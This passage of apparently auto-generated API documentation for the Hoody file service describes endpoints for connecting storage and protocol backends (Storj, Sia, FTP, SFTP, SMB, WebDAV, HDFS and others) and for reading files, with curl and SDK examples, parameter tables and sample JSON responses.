```bash
curl -X POST https://api.hoody.com/api/v1/backends/storj \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "satellite_address": "us1.storj.io",
    "api_key": "jq1tj...",
    "passphrase": "my-strong-passphrase"
  }'
```


```js
await client.files.backends.connectStorj({
  satellite_address: "us1.storj.io",
  api_key: "jq1tj...",
  passphrase: "my-strong-passphrase"
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_0f1a2b3c4d5e6f7a",
    "backend_type": "storj",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Storj authentication failed: invalid API key or passphrase"
}
```



### `POST /api/v1/backends/tardigrade`

Tardigrade (legacy Storj Decentralized Cloud Storage). Identical configuration surface to Storj; kept for compatibility with older Storj credentials.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `provider` | string | No | `"existing"` | Authentication method. One of `existing`, `new`. |
| `satellite_address` | string | No | `"us1.storj.io"` | Satellite address. One of `us1.storj.io`, `eu1.storj.io`, `ap1.storj.io` (or a custom `<nodeid>@&lt;host&gt;:&lt;port&gt;`). |
| `api_key` | string | No | `""` | API key (used with the `new` provider). |
| `passphrase` | string | No | `""` | Encryption passphrase (used with the `new` provider). |
| `access_grant` | string | No | `""` | Pre-existing access grant. |
| `description` | string | No | `""` | Description of the remote. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/tardigrade \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "access_grant": "1xCjj5c...long-access-grant-string..."
  }'
```


```js
await client.files.backends.connectTardigrade({
  access_grant: "1xCjj5c...long-access-grant-string..."
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_1a2b3c4d5e6f7a8b",
    "backend_type": "tardigrade",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Invalid access grant"
}
```



### `POST /api/v1/backends/sia`

Sia Decentralized Cloud. Connects to a local or remote `siad` daemon over its HTTP API.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `api_url` | string | No | `"http://127.0.0.1:9980"` | Sia daemon API URL. |
| `api_password` | string | No | `""` | Sia daemon API password. |
| `user_agent` | string | No | `"Sia-Agent"` | User agent string (Sia requires `Sia-Agent` by default). |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50436354"` | Backend encoding. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/sia \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "api_url": "http://sia.daemon.host:9980",
    "api_password": "sia-api-password"
  }'
```


```js
await client.files.backends.connectSia({
  api_url: "http://sia.daemon.host:9980",
  api_password: "sia-api-password"
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_2b3c4d5e6f7a8b9c",
    "backend_type": "sia",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Could not connect to Sia daemon at http://127.0.0.1:9980"
}
```



### `POST /api/v1/backends/internetarchive`

Internet Archive. Uses the S3-compatible IAS3 API; works with anonymous access (no credentials required for public items).

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `endpoint` | string | No | `"https://s3.us.archive.org"` | IAS3 endpoint. |
| `front_endpoint` | string | No | `"https://archive.org"` | Internet Archive frontend host. |
| `access_key_id` | string | No | `""` | IAS3 Access Key (leave blank for anonymous access). |
| `secret_access_key` | string | No | `""` | IAS3 Secret Key (leave blank for anonymous access). |
| `wait_archive` | integer | No | `0` | Timeout in seconds for server-side archive processing. |
| `disable_checksum` | boolean | No | `true` | Skip server-side MD5 checksum verification. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50446342"` | Backend encoding. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/internetarchive \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "access_key_id": "ia-access-key",
    "secret_access_key": "ia-secret-key"
  }'
```


```js
await client.files.backends.connectInternetarchive({
  access_key_id: "ia-access-key",
  secret_access_key: "ia-secret-key"
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_3c4d5e6f7a8b9c0d",
    "backend_type": "internetarchive",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Internet Archive authentication failed"
}
```

---

# File Protocols

**Page:** api/files/mount/protocols

[Download Raw Markdown](./api/files/mount/protocols.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The protocol-based backends in this section let you mount file transfer services into the Hoody virtual filesystem. Use these endpoints to connect FTP, SFTP, SMB, WebDAV, HTTP, and HDFS servers. Each endpoint accepts a JSON configuration body and returns the new backend's identifier, which you can then mount to a filesystem path.

## Connect protocol backend

### `POST /api/v1/backends/ftp`

Connect a new FTP backend.

This endpoint takes no parameters.

#### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `host` | string | Yes | `""` | FTP host to connect to (e.g. `ftp.example.com`). |
| `port` | integer | No | `21` | FTP port number. |
| `user` | string | No | `"user"` | FTP username. |
| `pass` | string | No | `""` | FTP password. |
| `ask_password` | boolean | No | `false` | Allow asking for the FTP password at runtime when none is supplied. |
| `tls` | boolean | No | `false` | Use Implicit FTPS (FTP over TLS), usually served on port 990. |
| `explicit_tls` | boolean | No | `false` | Use Explicit FTPS — upgrades a plain text connection to TLS. |
| `no_check_certificate` | boolean | No | `false` | Skip verification of the server's TLS certificate. |
| `no_check_upload` | boolean | No | `false` | Skip post-upload size/mtime verification. |
| `disable_epsv` | boolean | No | `false` | Disable EPSV even when the server advertises support. |
| `disable_mlsd` | boolean | No | `false` | Disable MLSD even when the server advertises support. |
| `disable_utf8` | boolean | No | `false` | Disable UTF-8 even when the server advertises support. |
| `disable_tls13` | boolean | No | `false` | Disable TLS 1.3 (workaround for servers with buggy TLS). |
| `force_list_hidden` | boolean | No | `false` | Use `LIST -a` to force listing of hidden files (disables MLSD). |
| `writing_mdtm` | boolean | No | `false` | Use MDTM to set modification time (VsFtpd quirk). |
| `concurrency` | integer | No | `0` | Maximum number of simultaneous FTP connections (`0` = unlimited). |
| `idle_timeout` | integer | No | `60` | Max idle time before closing connections (seconds; `0` = indefinite). |
| `close_timeout` | integer | No | `60` | Max time to wait for a close response (seconds). |
| `shut_timeout` | integer | No | `60` | Max time to wait for data-connection close status (seconds). |
| `tls_cache_size` | integer | No | `32` | Size of the TLS session cache for control and data connections (`0` disables). |
| `encoding` | string | No | `"35749890"` | Backend encoding. One of: `Asterisk,Ctl,Dot,Slash`, `BackSlash,Ctl,Del,Dot,RightSpace,Slash,SquareBracket`, `Ctl,LeftPeriod,Slash`. |
| `description` | string | No | `""` | Description of the remote. |
| `socks_proxy` | string | No | `""` | SOCKS5 proxy host. Format: `user:pass@host:port`, `user@host:port`, or `host:port`. |

#### Response



```json
{
  "data": {
    "backend_type": "ftp",
    "id": "bk_ftp_3a8c1f9d2e7b",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "FTP backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Failed to connect to FTP server: dial tcp: lookup ftp.example.com: no such host",
  "success": false
}
```



#### SDK Example

```typescript
await client.files.backends.connectFtp({
  data: {
    host: "ftp.example.com",
    port: 21,
    user: "alice",
    pass: "s3cret",
    explicit_tls: true
  }
});
```

### `POST /api/v1/backends/sftp`

Connect a new SSH/SFTP backend.

This endpoint takes no parameters.

#### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `host` | string | Yes | `""` | SSH host to connect to (e.g. `example.com`). |
| `port` | integer | No | `22` | SSH port number. |
| `user` | string | No | `"user"` | SSH username. |
| `pass` | string | No | `""` | SSH password (leave blank to use ssh-agent). |
| `key_file` | string | No | `""` | Path to a PEM-encoded private key file. |
| `key_file_pass` | string | No | `""` | Passphrase for an encrypted PEM private key (old OpenSSH format only). |
| `key_pem` | string | No | `""` | Raw PEM-encoded private key, single line with `\n` for line breaks. |
| `key_use_agent` | boolean | No | `false` | Force usage of the ssh-agent. |
| `pubkey` | string | No | `""` | SSH public certificate for public certificate authentication. |
| `pubkey_file` | string | No | `""` | Path to a public key file. |
| `ask_password` | boolean | No | `false` | Allow prompting for the password at runtime when none is supplied. |
| `disable_hashcheck` | boolean | No | `false` | Disable SSH-command-based detection of remote file hashing. |
| `disable_concurrent_reads` | boolean | No | `false` | Disable concurrent reads. |
| `disable_concurrent_writes` | boolean | No | `false` | Disable concurrent writes. |
| `copy_is_hardlink` | boolean | No | `false` | Implement server-side copies as hardlinks. |
| `set_modtime` | boolean | No | `true` | Set the modified time on the remote after writing. |
| `skip_links` | boolean | No | `false` | Skip symlinks and other non-regular files. |
| `use_fstat` | boolean | No | `false` | Use `fstat` instead of `stat` to avoid exceeding server file-open limits. |
| `use_insecure_cipher` | boolean | No | `false` | Allow insecure ciphers/key exchange (must be `false` if `ciphers` or `key_exchange` is set). |
| `concurrency` | integer | No | `64` | Maximum outstanding requests per file. |
| `connections` | integer | No | `0` | Maximum simultaneous SFTP connections (`0` = unlimited). |
| `idle_timeout` | integer | No | `60` | Max idle time before closing connections (seconds; `0` = indefinite). |
| `chunk_size` | string | No | `"32768"` | Upload/download chunk size in bytes (RFC limit 32768; some servers accept more). |
| `ciphers` | string | No | `[]` | Space-separated list of ciphers ordered by preference. |
| `macs` | string | No | `[]` | Space-separated list of MAC algorithms ordered by preference. |
| `key_exchange` | string | No | `[]` | Space-separated list of key exchange algorithms ordered by preference. |
| `host_key_algorithms` | string | No | `[]` | Space-separated list of host key algorithms ordered by preference. |
| `known_hosts_file` | string | No | `""` | Optional path to a `known_hosts` file to enable host key validation. |
| `md5sum_command` | string | No | `""` | Command used to read md5 hashes (blank = autodetect). |
| `sha1sum_command` | string | No | `""` | Command used to read sha1 hashes (blank = autodetect). |
| `path_override` | string | No | `""` | Override path used by SSH shell commands (prefix with `@` to keep subpaths). |
| `server_command` | string | No | `""` | Path/command to start the SFTP server on the remote host. |
| `subsystem` | string | No | `"sftp"` | SSH2 subsystem on the remote host. |
| `shell_type` | string | No | `""` | Type of SSH shell on the remote server. One of: `none`, `unix`, `powershell`, `cmd`. |
| `ssh` | string | No | `[]` | Path and arguments to an external ssh binary. |
| `set_env` | string | No | `[]` | Environment variables to pass to sftp and remote commands. |
| `socks_proxy` | string | No | `""` | SOCKS5 proxy host. Format: `user:pass@host:port`, `user@host:port`, or `host:port`. |
| `description` | string | No | `""` | Description of the remote. |


The `use_insecure_cipher`, `ciphers`, and `key_exchange` options are mutually exclusive in certain combinations. If you set `use_insecure_cipher: true`, do not set `ciphers` or `key_exchange`. Enabling insecure ciphers may allow plaintext recovery by an attacker.


#### Response



```json
{
  "data": {
    "backend_type": "sftp",
    "id": "bk_sftp_7d2e9c4a1f0b",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "SFTP backend connected successfully",
  "success": true
}
```


```json
{
  "error": "SSH authentication failed: handshake failed: ssh: no authentication methods available",
  "success": false
}
```



#### SDK Example

```typescript
await client.files.backends.connectSftp({
  data: {
    host: "sftp.example.com",
    port: 22,
    user: "alice",
    key_file: "~/.ssh/id_ed25519",
    chunk_size: "262144"
  }
});
```

### `POST /api/v1/backends/smb`

Connect a new SMB/CIFS backend.

This endpoint takes no parameters.

#### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `host` | string | Yes | `""` | SMB server hostname (e.g. `example.com`). |
| `port` | integer | No | `445` | SMB port number. |
| `user` | string | No | `"user"` | SMB username. |
| `pass` | string | No | `""` | SMB password. |
| `domain` | string | No | `"WORKGROUP"` | Domain name for NTLM authentication. |
| `spn` | string | No | `""` | Service principal name. Required by some clusters. |
| `case_insensitive` | boolean | No | `true` | Whether the server is case-insensitive (always `true` on Windows shares). |
| `hide_special_share` | boolean | No | `true` | Hide special shares such as `print$`. |
| `idle_timeout` | integer | No | `60` | Max idle time before closing connections (seconds; `0` = indefinite). |
| `encoding` | string | No | `"56698766"` | Backend encoding identifier. |
| `description` | string | No | `""` | Description of the remote. |

#### Response



```json
{
  "data": {
    "backend_type": "smb",
    "id": "bk_smb_4f1b8a2c6d09",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "SMB backend connected successfully",
  "success": true
}
```


```json
{
  "error": "NTLM authentication failed: invalid username or password",
  "success": false
}
```



#### SDK Example

```typescript
await client.files.backends.connectSmb({
  data: {
    host: "files.example.local",
    port: 445,
    user: "alice",
    pass: "s3cret",
    domain: "EXAMPLE"
  }
});
```

### `POST /api/v1/backends/webdav`

Connect a new WebDAV backend.

This endpoint takes no parameters.

#### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `url` | string | Yes | `""` | URL of the WebDAV host (e.g. `https://example.com`). |
| `user` | string | No | `""` | Username. For NTLM, use the format `Domain\User`. |
| `pass` | string | No | `""` | Password. |
| `bearer_token` | string | No | `""` | Bearer token (e.g. a Macaroon) used instead of user/password. |
| `bearer_token_command` | string | No | `""` | Shell command that prints a bearer token at runtime. |
| `vendor` | string | No | `""` | WebDAV vendor. One of: `fastmail`, `nextcloud`, `owncloud`, `sharepoint`, `sharepoint-ntlm`, `hoody-vfs`, `other`. |
| `headers` | string | No | `[]` | Comma-separated `key,value` HTTP header pairs applied to every request. |
| `unix_socket` | string | No | `""` | Path to a Unix domain socket to dial instead of opening a TCP connection. |
| `auth_redirect` | boolean | No | `false` | Preserve the `Authorization` header across redirects. |
| `owncloud_exclude_mounts` | boolean | No | `false` | Exclude ownCloud-mounted storages from listings. |
| `owncloud_exclude_shares` | boolean | No | `false` | Exclude ownCloud shares from listings. |
| `pacer_min_sleep` | integer | No | `0` | Minimum sleep between API calls (seconds). |
| `nextcloud_chunk_size` | string | No | `"10485760"` | Nextcloud upload chunk size in bytes (`0` disables chunked uploads). |
| `encoding` | string | No | `""` | Backend encoding. |
| `description` | string | No | `""` | Description of the remote. |


For Nextcloud, raising the server-side max chunk size to 1&nbsp;GB significantly improves upload throughput. See the Nextcloud admin documentation for `maxChunkSize`.


#### Response



```json
{
  "data": {
    "backend_type": "webdav",
    "id": "bk_webdav_5e2c7a8b1d34",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "WebDAV backend connected successfully",
  "success": true
}
```


```json
{
  "error": "WebDAV PROPFIND failed: 401 Unauthorized",
  "success": false
}
```



#### SDK Example

```typescript
await client.files.backends.connectWebdav({
  data: {
    url: "https://cloud.example.com/remote.php/dav/files/alice",
    user: "alice",
    pass: "s3cret",
    vendor: "nextcloud"
  }
});
```

### `POST /api/v1/backends/http`

Connect a new HTTP backend (read-only mount of an HTTP/HTTPS host).

This endpoint takes no parameters.

#### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `url` | string | Yes | `""` | URL of the HTTP host (e.g. `https://example.com`). You can embed credentials as `https://user:pass@example.com`. |
| `headers` | string | No | `[]` | Comma-separated `key,value` HTTP headers applied to every request. |
| `no_escape` | boolean | No | `false` | Do not URL-escape metacharacters in path names. |
| `no_head` | boolean | No | `false` | Skip HEAD requests (faster listings, but no sizes/timestamps). |
| `no_slash` | boolean | No | `false` | Treat `text/html` content as directories (server doesn't append `/`). |
| `description` | string | No | `""` | Description of the remote. |


When `no_slash` is enabled, the backend will treat every response with `Content-Type: text/html` as a directory and parse links from the body. This can occasionally mistake actual HTML files for directories.


#### Response



```json
{
  "data": {
    "backend_type": "http",
    "id": "bk_http_8c3d6f2a9e71",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "HTTP backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Invalid URL: parse \"not-a-url\": invalid URI for request",
  "success": false
}
```



#### SDK Example

```typescript
await client.files.backends.connectHttp({
  data: {
    url: "https://downloads.example.com/public",
    no_head: true
  }
});
```

### `POST /api/v1/backends/hdfs`

Connect a new Hadoop Distributed File System (HDFS) backend.

This endpoint takes no parameters.

#### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `namenode` | string | Yes | `[]` | Hadoop name nodes and ports (e.g. `namenode-1:8020,namenode-2:8020`). |
| `username` | string | No | `""` | Hadoop user name. Allowed value: `root`. |
| `service_principal_name` | string | No | `""` | Kerberos Service Principal Name for the namenode (e.g. `hdfs/namenode.hadoop.docker`). |
| `data_transfer_protection` | string | No | `""` | Kerberos data transfer protection. Allowed value: `privacy`. |
| `encoding` | string | No | `"50430082"` | Backend encoding identifier. |
| `description` | string | No | `""` | Description of the remote. |


Set `service_principal_name` to enable Kerberos authentication. When Kerberos is enabled, `data_transfer_protection` may be set to `privacy` to require wire encryption between client and datanodes.


#### Response



```json
{
  "data": {
    "backend_type": "hdfs",
    "id": "bk_hdfs_1a9b4d2e7c80",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "HDFS backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Failed to connect to namenode: dial tcp 10.0.0.5:8020: i/o timeout",
  "success": false
}
```



#### SDK Example

```typescript
await client.files.backends.connectHdfs({
  data: {
    namenode: "namenode-1.hadoop.local:8020,namenode-2.hadoop.local:8020",
    username: "root",
    service_principal_name: "hdfs/namenode.hadoop.local"
  }
});
```

---

# Quick Start

**Page:** api/files/quick-start

[Download Raw Markdown](./api/files/quick-start.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Quick Start

Hoody Files provides a unified API for managing files and directories across your workspaces. Whether you are uploading assets, organizing project resources, or building collaborative editing experiences, the Files API gives you programmatic access to the same storage layer that powers the Hoody dashboard.

This guide covers the core file and directory operations available to authenticated users. All endpoints are scoped to a workspace and require a valid API token in the `Authorization` header.

### Core operations

The Files API is organized around a small set of predictable operations:

- **Files** — upload, retrieve, update metadata, and delete individual files. Files are addressed by a unique `fileID` within a workspace.
- **Directories** — create, list, rename, and delete folders. Directories can be nested and are addressed by a path or `directoryID`.
- **Workspace context** — every file and directory lives inside a workspace. The `workspaceID` is always part of the request path and identifies the storage boundary for the operation.

### Authentication

All requests must include a bearer token:

```
Authorization: Bearer <token>
```

Tokens are issued from the Hoody dashboard and inherit the permissions of the user that created them. Ensure the token has read and write access to the target workspace before performing mutating operations.

### Base path

All endpoints in this section are rooted at:

```
/api/v1/workspaces/{workspaceID}/files
```

Replace `{workspaceID}` with the ID of the workspace that owns the files you want to manage.

### Next steps


  
    Upload, retrieve, update, and delete files. See the file endpoints for request/response details.
  
  
    Create, list, rename, and delete directories. Directory operations accept a path or an ID.
  
  
    Files are always scoped to a workspace. Confirm your `workspaceID` before issuing requests.
  



  When in doubt, start with a `GET` against a directory path to confirm the workspace ID and token permissions are valid before attempting uploads or mutations.

---

# Reading Files

**Page:** api/files/reading

[Download Raw Markdown](./api/files/reading.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Overview

The Reading Files endpoints let you browse, download, and inspect files via HTTP `GET` requests. Use them to enumerate directory contents, download file payloads, retrieve hashes, run content searches (`grep`) and filename searches (`glob`), extract specific line ranges, and read historical revisions from the file journal. Two endpoint variants are available: a basic form at `/{path}` and a richer v1 form at `/api/v1/files/{path}` that exposes the full search and journal surface.

## `GET /{path}`

Returns a directory listing in HTML or JSON format, or downloads a file. For file paths, append `?download` (or `?download=true`) to force a `Content-Disposition: attachment` response. Use `?json` for a machine-readable listing, `?hash` for a SHA-256 digest, and `?base64` for base64-encoded content.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | File or directory path |
| `json` | query | string | No | Return JSON format instead of HTML |
| `simple` | query | string | No | Return simple text listing |
| `sort` | query | string | No | Sort by field. Accepted values: `name`, `mtime`, `size` |
| `order` | query | string | No | Sort order. Accepted values: `asc`, `desc` |
| `hash` | query | string | No | Get SHA256 hash of file (returns plain text hash) |
| `sha256` | query | string | No | Get SHA256 hash of file (alias for `hash`) |
| `base64` | query | string | No | Get file content as base64 encoded string |
| `edit` | query | string | No | Open file in Web UI editor (requires `allow-upload` permission) |
| `view` | query | string | No | View file in Web UI (read-only mode) |
| `download` | query | string | No | For file paths only: force browser download (`Content-Disposition: attachment`). Accepted values: empty (`?download`), `1`, or `true`. For directory paths, triggers the URL download-manager operation. |
| `content-type` | query | string | No | Override `Content-Type` header for file downloads |
| `history` | query | string | No | List all revisions of a file. Returns JSON with revisions array, pagination via after_id. Mutually exclusive with at/revision/diff. |
| `at` | query | string | No | Read file content at a point in time. Accepts RFC3339 timestamp or Unix milliseconds. Mutually exclusive with history/revision/diff. Composable with ?lines, ?hash, ?base64. |
| `revision` | query | integer | No | Read file content by stable per-path sequence number. Mutually exclusive with history/at/diff. Composable with ?lines, ?hash, ?base64. |
| `diff` | query | string | No | Compute unified diff between two versions. Requires from_seq or from_ts. Optional to_seq or to_ts (defaults to current file). Mutually exclusive with history/at/revision. |
| `from_seq` | query | integer | No | Source revision seq number for ?diff. Mutually exclusive with from_ts. |
| `from_ts` | query | string | No | Source timestamp for ?diff (RFC3339 or Unix ms). Mutually exclusive with from_seq. |
| `to_seq` | query | integer | No | Target revision seq number for ?diff. Mutually exclusive with to_ts. Default: current file on disk. |
| `to_ts` | query | string | No | Target timestamp for ?diff (RFC3339 or Unix ms). Mutually exclusive with to_seq. |
| `after_id` | query | integer | No | Cursor for ?history pagination. Returns entries with id &gt; after_id. |
| `limit` | query | integer | No | Max entries to return for ?history. |

### Example request



```bash
curl "https://api.hoody.com/workspace/projects?json&sort=name&order=asc"
```


```javascript
const listing = await client.files.listDirectory({
  path: "workspace/projects",
  json: "",
  sort: "name",
  order: "asc"
});
```



### Response



Directory listings return JSON matching the `DirectoryListing` schema. File downloads return `application/octet-stream` with the raw binary content.

```json
{
  "allow_archive": true,
  "allow_delete": false,
  "allow_search": true,
  "allow_upload": true,
  "auth": true,
  "dir_exists": true,
  "href": "/workspace/projects",
  "kind": "Index",
  "paths": [
    {
      "mtime": 1716400000000,
      "name": "README.md",
      "path_type": "File",
      "revisions": 12,
      "size": 4321
    },
    {
      "mtime": 1716390000000,
      "name": "src",
      "path_type": "Dir",
      "revisions": null,
      "size": 24
    },
    {
      "mtime": 1716300000000,
      "name": "package.json",
      "path_type": "File",
      "revisions": 5,
      "size": 1208
    }
  ],
  "uri_prefix": "/api/v1/files",
  "user": "alice"
}
```


```json
{
  "error": "Access to /workspace/secret is forbidden",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `ACCESS_FORBIDDEN` | Access forbidden | User does not have permission to access this path | Contact administrator for read permissions or authenticate with different account |


```json
{
  "error": "File or directory not found: /workspace/missing.txt",
  "success": false
}
```



## `GET /api/v1/files/{path}`

Get a directory listing in JSON format, download a file, run `grep`/`glob` searches, extract a line range, or read historical revisions from the journal. The optional `backend` query parameter routes the request to a remote backend.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | File or directory path |
| `backend` | query | string | No | Backend ID for remote file access |
| `hash` | query | string | No | Get SHA256 hash of file |
| `sha256` | query | string | No | Get SHA256 hash of file (alias for `hash`) |
| `base64` | query | string | No | Get file content as base64 |
| `preview` | query | string | No | Preview archive contents (for zip/tar files). Alias: `?contents` |
| `contents` | query | string | No | Alias for `?preview` — list archive contents |
| `stat` | query | string | No | Get file/directory metadata (stat) without downloading content |
| `thumbnail` | query | string | No | Generate thumbnail (not yet implemented in API v1, returns 501) |
| `grep` | query | string | No | Search file/directory contents for regex pattern (or literal if `fixed_string=true`). Requires `--allow-grep`. |
| `ignore_case` | query | boolean | No | Case-insensitive grep matching. Default: `false` |
| `fixed_string` | query | boolean | No | Treat grep pattern as literal string, not regex. Default: `false` |
| `glob` | query | string | No | Find files matching glob pattern (e.g. `**/*.rs`, `src/**/*.{ts,tsx}`). Requires `--allow-search`. Directory paths only. |
| `context` | query | integer | No | Number of context lines before/after each grep match. Default: `0` |
| `max_count` | query | integer | No | Max matches per file for grep. Default: `50` |
| `max_matches` | query | integer | No | Total max matches across all files for grep. Default: `500` |
| `max_depth` | query | integer | No | Directory recursion depth for grep. Default: `50` |
| `max_filesize` | query | integer | No | Skip files larger than this (bytes) during grep. Default: `10485760` |
| `timeout` | query | integer | No | Grep timeout in seconds. Default: `30` |
| `no_ignore` | query | boolean | No | Bypass `.gitignore` filtering during grep. Default: `false` |
| `max_results` | query | integer | No | Max entries returned for glob search. Default: `1000` |
| `max_files_scanned` | query | integer | No | Max filesystem entries scanned during glob search. Default: `100000` |
| `sort` | query | string | No | Sort glob results by: `mtime` (default), `name`, or `size` |
| `order` | query | string | No | Sort order for glob results. Default: `desc` for mtime, `asc` for name/size. Accepted values: `asc`, `desc` |
| `lines` | query | string | No | Extract specific lines from a file. Formats: `10-50` (range, 1-indexed inclusive), `100` (single line), `-20` (last 20 lines / tail), `50-` (line 50 to end). Returns `text/plain` with `X-Line-Range` header. `X-Total-Lines` header included when naturally known (scan reached EOF). Max 100,000 lines or 64MB per request. |
| `history` | query | string | No | List all revisions of a file. Returns JSON with revisions array, pagination via `after_id`. Mutually exclusive with `at`/`revision`/`diff`. |
| `at` | query | string | No | Read file content at a point in time. Accepts RFC3339 timestamp or Unix milliseconds. Mutually exclusive with `history`/`revision`/`diff`. Composable with `?lines`, `?hash`, `?base64`. |
| `revision` | query | integer | No | Read file content by stable per-path sequence number. Mutually exclusive with `history`/`at`/`diff`. Composable with `?lines`, `?hash`, `?base64`. |
| `diff` | query | string | No | Compute unified diff between two versions. Requires `from_seq` or `from_ts`. Optional `to_seq` or `to_ts` (defaults to current file). Mutually exclusive with `history`/`at`/`revision`. |
| `from_seq` | query | integer | No | Source revision seq number for `?diff`. Mutually exclusive with `from_ts`. |
| `from_ts` | query | string | No | Source timestamp for `?diff` (RFC3339 or Unix ms). Mutually exclusive with `from_seq`. |
| `to_seq` | query | integer | No | Target revision seq number for `?diff`. Mutually exclusive with `to_ts`. Default: current file on disk. |
| `to_ts` | query | string | No | Target timestamp for `?diff` (RFC3339 or Unix ms). Mutually exclusive with `to_seq`. |
| `after_id` | query | integer | No | Cursor for `?history` pagination. Returns entries with id > `after_id`. |
| `limit` | query | integer | No | Max entries to return for `?history`. Default: `100` |
| `zip` | query | string | No | Download a directory as a streaming zip archive (bare flag, e.g. ?zip). Local directories only; requires --allow-archive. Same behavior as the WebDAV-style /&#123;directory&#125;?zip. |

### Example request



```bash
curl "https://api.hoody.com/api/v1/files/workspace/api-docs?grep=export+function&ignore_case=true&context=2&max_count=50"
```


```javascript
const results = await client.files.get({
  path: "workspace/api-docs",
  grep: "export function",
  ignore_case: true,
  context: 2,
  max_count: 50
});
```



### Response



Returns a directory listing, grep/glob results, line-range content, file revision history, historical content, or a unified diff depending on the query parameters used. File downloads return `application/octet-stream`.

Directory listing:

```json
{
  "allow_archive": true,
  "allow_delete": false,
  "allow_search": true,
  "allow_upload": true,
  "auth": true,
  "dir_exists": true,
  "href": "/workspace/api-docs",
  "kind": "Index",
  "paths": [
    {
      "mtime": 1716400000000,
      "name": "README.md",
      "path_type": "File",
      "revisions": 12,
      "size": 4321
    },
    {
      "mtime": 1716390000000,
      "name": "src",
      "path_type": "Dir",
      "revisions": null,
      "size": 24
    }
  ],
  "uri_prefix": "/api/v1/files",
  "user": "alice"
}
```

Grep results:

```json
{
  "duration_ms": 142,
  "matches": [
    {
      "column_byte": 6,
      "context_after": ["function foo() {"],
      "context_before": ["// utility module"],
      "line": "export function greet(name) {",
      "line_number": 12,
      "path": "/workspace/api-docs/src/utils.ts"
    }
  ],
  "path": "/workspace/api-docs",
  "pattern": "export function",
  "total_files_matched": 1,
  "total_files_searched": 42,
  "total_matches": 1,
  "truncated": false
}
```

Glob results:

```json
{
  "count": 2,
  "duration_ms": 18,
  "entries": [
    {
      "is_dir": false,
      "modified": 1716400000,
      "name": "/workspace/api-docs/src/index.ts",
      "size": 2104
    },
    {
      "is_dir": false,
      "modified": 1716350000,
      "name": "/workspace/api-docs/src/utils.ts",
      "size": 872
    }
  ],
  "path": "/workspace/api-docs",
  "pattern": "src/**/*.ts",
  "total_scanned": 87,
  "truncated": false
}
```


```json
{
  "error": "File /workspace/old-report.txt was deleted or moved at the requested point in time"
}
```


```json
{
  "error": "Content for revision 47 of /workspace/large.bin is not stored (file exceeded journal size limit)"
}
```


Too many concurrent journal queries are in flight. Retry after a short delay. The response has no body.




The v1 endpoint exposes the file journal. Use `?history` (with optional `after_id`/`limit`) to paginate revisions, `?at` or `?revision` to read historical content, and `?diff` with `from_seq`/`from_ts` (and optionally `to_seq`/`to_ts`) to compute unified diffs between two points in time. These three modes are mutually exclusive.

---

# WebDAV Operations

**Page:** api/files/webdav

[Download Raw Markdown](./api/files/webdav.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## WebDAV Operations

WebDAV-compatible file operations for connecting to and manipulating files via standard WebDAV clients (Nextcloud, ownCloud, Cyberduck, etc.). These endpoints implement the HTTP methods defined by RFC 4918 — `COPY`, `MOVE`, `LOCK`, `UNLOCK`, `PROPFIND`, `PROPPATCH`, and `OPTIONS` — alongside a dedicated connection endpoint.


Lock support is a compatibility stub: the server returns lock tokens but does **not** enforce them server-side. Use these endpoints to interoperate with WebDAV clients, not as a concurrency control mechanism.


---

### Connection & Capability Discovery

## `GET /{path}`

Connect to a WebDAV-accessible resource. The `type=webdav` query parameter signals the server to resolve the resource through the WebDAV backend (Nextcloud, ownCloud, etc.).

### Parameters

